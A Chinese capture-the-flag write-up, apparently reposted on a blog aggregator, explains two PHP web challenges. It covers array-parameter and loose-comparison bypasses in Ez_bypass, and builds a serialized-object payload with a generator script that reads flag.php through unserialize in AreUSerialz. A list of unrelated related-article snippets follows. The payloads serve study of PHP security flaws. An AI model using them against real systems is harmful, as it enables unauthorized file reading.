[MRCTF2020]Ez_bypass1 and [网鼎杯 2020 青龙组]AreUSerialz1()php语言基础学习,以及序列化概念的基本了解

1.[MRCTF2020]Ez_bypass1

(1)打开环境后它是一串很长并且看起来非常混乱的代码,看不懂那咱就先不管,直接查看源码

(2)看了之后可以发现它涉及到很多东西

     首先就是要进行一个仔细的代码审计,分析它每一个循环体所写的内容,后面还有MD5强比较,php的弱绕过等

      这里根据第一段代码段代码所写,要用get传入id和gg两个参数,id和gg的值要求不能相等,但是id和gg的md5强比较必须相等

if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';

然后进入下一个循环体,这里出现了这个函数

is_numeric($passwd)

       s_numeric() 函数用于检测变量是否为数字或数字字符串。

       如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php')

看了其他大佬的wp才知道这串代码应该是告诉我们如果post个passwd参数,而且passwd必须是数字或数字字符串,passwd的值必须与1234567相等,这里就是php的弱绕过,当我们传入1234567a时,就是字符型和数字型进行比较,所以当传入的值passwd=123456a的时候:则会先把1234567admin转化成1234567再进行比较。

(3)所以这里直接用get传入?id[]=1&gg[]=2

(4)get传参后出现回显,然后直接用hackbar传入post参数    passwd=1234567a

成功获取flag

2.[网鼎杯 2020 青龙组]AreUSerialz1

(1)进入环境后又是很长的代码 ,需要进行仔细的代码审计,看看它所写的内容

这里还是先学学php网页编写的一些重要点

PHP访问修饰符
**public ** 公共的 任何成员都可以访问
private 私有的 只有自己可以访问
绕过方式:%00类名%00成员名
*protected ** 保护的 只有当前类的成员与继承该类的类才能访问
绕过方式:%00
%00成员名

PHP类
**class **创建类

PHP关键字
function 用于用户声明自定义函数
$this-> 表示在类本身内部使用本类的属性或者方法
isset 用来检测参数是否存在并且是否具有值

PHP常见函数
**include() ** 包含函数 ** **
highlight_file() 函数对文件进行语法高亮显示
**file_put_contents() **函数把一个字符串写入文件中
**file_get_contents() ** 函数把整个文件读入一个字符串中
**is_valid() ** 检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象
strlen 计算字符串长度
ord 用于返回 “S” 的 ASCII值,其语法是ord(string),参数string必需,指要从中获得ASCII值的字符串

PHP魔法函数
**__construct() ** 实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用

接下来简单进行一下代码审计,其中很多点还是根据其他大佬的文章写的加上自己一点认识来写的

public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}

这里它应该是说满足对象op=2
执行read读的操作

private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}

这里它应该是说当满足content<100
即可绕过,它利用了函数strlen来检测content对象的字符串长度

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}

应该是说利用ord函数 返回 “S” 的 ASCII值 s为字符串类型 S为16进制字符串数据类型
绕过方式%00转换为\00即可绕过

if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

然后这里它又写了用GET方式传参
参数是str
将传入的值转为字符串类型
将str参数放入到自定义函数is_valid里面进行反序列化操作

(2)所以这里需要突破ord函数限制,构建一个反序列化代码

<?phpclass FileHandler {protected $op = 2;protected $filename ='flag.php';         //题目中包含flag的文件
protected $content;}
$bai = urlencode(serialize(new FileHandler)); 
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);    
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);         
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao                                               
//打印结果
?>

序列化结果
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

然后构建paylaod并上传

?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

(3)用hackbar即可查看flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/9764.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows11 同时安装jdk8和jdk17 可切换

Windows11 同时安装jdk8和jdk17 可切换 死忠于JDK8的码农们&#xff0c;可能不得不做出一些改变的 因为在springboot3最低也是只能用17 并且最近如果创建springboot项目的时候&#xff0c;你会发现&#xff0c;最低也是17的 并且&#xff0c;如果使用springcloud开发&#x…

LeetCode 每日一题 ---- 【2105. 给植物浇水 II】

LeetCode 每日一题 ---- 【2105. 给植物浇水 II】 2105.给植物浇水II方法&#xff1a;模拟双指针 2105.给植物浇水II 方法&#xff1a;模拟双指针 今天是给植物浇水II&#xff0c;昨天是I&#xff0c;本质上和昨天的没有区别&#xff0c;都是模拟&#xff0c;今天额外需要注意…

网络相关指令linux指令该怎么使用 - telnet

Telnet 指令使用方法 Telnet 是一种用于远程登录服务器的协议。以下是一些常见的 Telnet 指令及其用途。 基本指令 telnet [主机名或IP地址] [端口] 功能&#xff1a;连接到指定的远程主机和端口。示例&#xff1a;telnet example.com 23 Telnet 内部指令 c - close 功能&…

Linux vscode push报错fatal: Authentication failed

注意啊&#xff0c;Git基于密码的身份验证已经被删除了&#xff0c;所以这个报错发生时无论密码正确与否&#xff0c;以及参考比较旧的改bug教程&#xff0c;都没法提交。进入提示的网址&#xff0c;生成个人访问令牌就好了

Vue中引入Element组件、路由router、Nginx打包部署

目录 1、Element-ui(饿了么ui) 演示&#xff1a; 怎么打开NPM脚本&#xff1f; Vue路由router Nginx打包部署Vue-Cli项目 1、Element-ui(饿了么ui) element-ui(饿了么ui)是一个非常好用且美观的组件库(插件库)&#xff0c;主要用于网站快速成型&#xff0c;由国产团队饿了么…

设置多用户远程登录windows server2016服务器

1、远程登录windows server 2016 运行—>mstsc—>远程IP地址—>用户和密码 2、远程windows服务器设置多用户策略 运行—>gpedit.msc->计算机配置—管理模板—windows组件—远程桌面服务—远程桌面会话主机----连接,如下图所示: 1、《限制连接的数量》设置为…

2024-AIDD-人工智能药物设计-基于深度学习的胶质母细胞瘤靶点蛋白的识别与药物设计

UniProt搜索胶质母细胞瘤相关蛋白&#xff1a;从UniProt数据库查找胶质母细胞瘤相关的蛋白质数据是一个很好的开始&#xff0c;这可以帮助你识别与疾病相关的关键蛋白。 疾病与中药交集分析&#xff1a;研究中药&#xff08;如益气解毒方&#xff09;与胶质母细胞瘤的关系&…

Mybatis高效批量插入实战:五种策略全面解析

在现代应用开发中&#xff0c;数据处理常常涉及大量数据的插入操作&#xff0c;特别是在数据迁移、日志记录、统计分析等场景中。Mybatis作为Java领域广泛使用的持久层框架&#xff0c;其批量插入功能对于提升数据插入效率至关重要。本文将深入探讨Mybatis实现批量插入的五种策…

网络安全基础

目录 概述 1. 需求 2. 密码学 3. 保密 4. 数字签名 5. 身份认证 6. 对称密钥分配及管理 7. 公钥认证及PKI 8. 网络安全协议标准 结语 概述 在当今数字化时代&#xff0c;网络安全是任何组织和个人都必须重视的重要问题。从个人隐私到商业机密&#xff0c;网络安全的基…

DenseCLIP论文讲解

文章目录 简介方法总体框架 &#xff08;Language-Guided Dense Prediction&#xff09;上下文感知提示 &#xff08;Context-Aware Prompting&#xff09;应用实例 论文&#xff1a;DenseCLIP: Language-Guided Dense Prediction with Context-Aware Prompting 代码&#xff1…

【Linux-I.MX6ULL裸机学习】中断向量表

代码来自于正点原子阿尔法Linux开发板光盘 比如在中断向量表中规定了&#xff1a;在某个地址0x80000A对应着某个中断服务函数&#xff0c;那么在产生这个中断时&#xff0c;就会从0x80000A这个地址去读取中断服务函数&#xff0c;并执行。 如果想改变这个地址&#xff0c;也就是…

DOTCPP题目 2782: 整数大小比较

一、题目 题目描述 输入两个整数&#xff0c;比较它们的大小。 输入格式 一行&#xff0c;包含两个整数x和y&#xff0c;中间用单个空格隔开。 0 < x < 2^32, -2^31 < y < 2^31。 输出格式 一个字符。 若x > y&#xff0c;输出 > &#xff1b; 若x y&#x…

27、Qt自定义标题栏

一、说明 QtWidget及其子类有默认的标题栏&#xff0c;但是这个标题栏不能美化&#xff0c;有时候满足不了我们的使用需求&#xff0c;所以进行自定义标题栏 二、下载图标 在下面的链接中下载两种颜色的最大化、向下还原、最大化和关闭八个图片&#xff0c;并找一张当做图标…

【ITK配准】第二十一期 Demons变形配准

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 公众号:VTK忠粉 前言 本文分享ITK配准中Demons变形配准,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 目录 前言 Demons…

Spring 框架中用到的设计模式

概述 1.工厂模式:BeanFactory 2.代理模式 AOP动态代理 3.单例模式:spring中bean都是单例模式&#xff0c;bean默认都是单例的 4.模板方法:postProcessorBeanFactory, onRefresh&#xff0c;initpropertyValue 5.观察者模式:listener,event,multicast 6.适配器模式:Adapter 7.装…

shell基础知识

一.Shell概述 Shell是一个命令行解释器,它接收用户命令,然后调用操作系统内核 二.Shell解析器 cat /etc/shells echo $SHELL 三.Shell脚本入门 #!/bin/bash bash helloworld.sh chmod 777 helloworld.sh 四.Shell中的变量 echo $HOME | $PWD | $SHELL | $USER set 显示当前Shel…

使用GitLab自带的CI/CD功能在K8S集群里部署项目(四)

前置内容&#xff1a; 通过Docker Compose部署GitLab和GitLab Runner&#xff08;一&#xff09; 使用GitLab自带的CI/CD功能在本地部署项目&#xff08;二&#xff09; 使用GitLab自带的CI/CD功能在远程服务器部署项目&#xff08;三&#xff09; 一、K8S集群信息 节点名称…

基于springboot+vue+Mysql的体质测试数据分析及可视化设计

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

JAVA反射示例

public static void main(String[] args) throws Exception {Class pClass Class.forName("jdj.Person");//遍历整个控制器Constructor[] constructorspClass.getDeclaredConstructors();for(Constructor con:constructors) {System.out.println(con);}//通过控制器…

【CCF-CSP】202403-3 化学方程式配平

输入格式&#xff1a; 从标准输入读入数据。 输入的第一行包含一个正整数 n&#xff0c;表示需要判断的化学方程式的个数。 接下来的 n 行&#xff0c;每行描述了一个需要被配平的化学方程式。包含空格分隔的一个正整数和全部涉及物质的化学式。其中&#xff0c;正整数 m 表…